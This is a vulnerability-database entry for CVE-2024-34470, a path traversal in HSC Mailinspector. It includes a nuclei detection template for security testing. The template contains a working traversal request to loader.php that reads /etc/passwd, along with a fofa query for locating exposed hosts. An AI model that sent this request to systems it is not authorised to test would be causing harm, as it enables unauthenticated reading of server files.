HexBrain

Browse / CVEs / CVE-2024-34470

CVE-2024-34470· CWE-22

HSC Mailinspector 5.2.17-3 through 5.2.18 - Local File Inclusion

highseverity
7.5CVSS score
6.7%likelihood of exploitation, next 30 days
94%of all CVEs are less likely
Readycheck to confirm it

An Unauthenticated Path Traversal vulnerability exists in the /public/loaderphp file The path parameter does not properly filter whether the file and directory passed are part of the webroot, allowing an attacker to read arbitrary files on the server.

Impact

Unauthenticated attackers can exploit path traversal to read arbitrary files from the server.

Fix

Update HSC Mailinspector to a version later than 5.2.18 that patches the path traversal vulnerability.

How to confirm it

Send: GET {{BaseURL}}/mailinspector/login.php
Positive when: contains "Licensed to HSC TREINAMENTO"
Send: GET {{BaseURL}}/mailinspector/public/loader.php?path=../../../../../../../etc/passwd
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2024-34470 -u <target>

The full check
id: CVE-2024-34470

info:
  name: HSC Mailinspector 5.2.17-3 through 5.2.18 - Local File Inclusion
  author: topscoder
  severity: high
  description: |
    An Unauthenticated Path Traversal vulnerability exists in the /public/loaderphp file The path parameter does not properly filter whether the file and directory passed are part of the webroot, allowing an attacker to read arbitrary files on the server.
  impact: |
    Unauthenticated attackers can exploit path traversal to read arbitrary files from the server.
  remediation: |
    Update HSC Mailinspector to a version later than 5.2.18 that patches the path traversal vulnerability.
  reference:
    - https://github.com/osvaldotenorio/CVE-2024-34470
    - https://github.com/nomi-sec/PoC-in-GitHub
    - https://github.com/fkie-cad/nvd-json-data-feeds
    - https://nvd.nist.gov/vuln/detail/CVE-2024-34470
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-22
    epss-score: 0.06699
    epss-percentile: 0.93972
  metadata:
    verified: true
    max-request: 2
    fofa-query: "mailinspector/public"
  tags: cve,cve2024,lfi,mailinspector,hsc,vuln

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/mailinspector/login.php"

    host-redirects: true
    matchers:
      - type: word
        part: body
        words:
          - "Licensed to HSC TREINAMENTO"
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/mailinspector/public/loader.php?path=../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from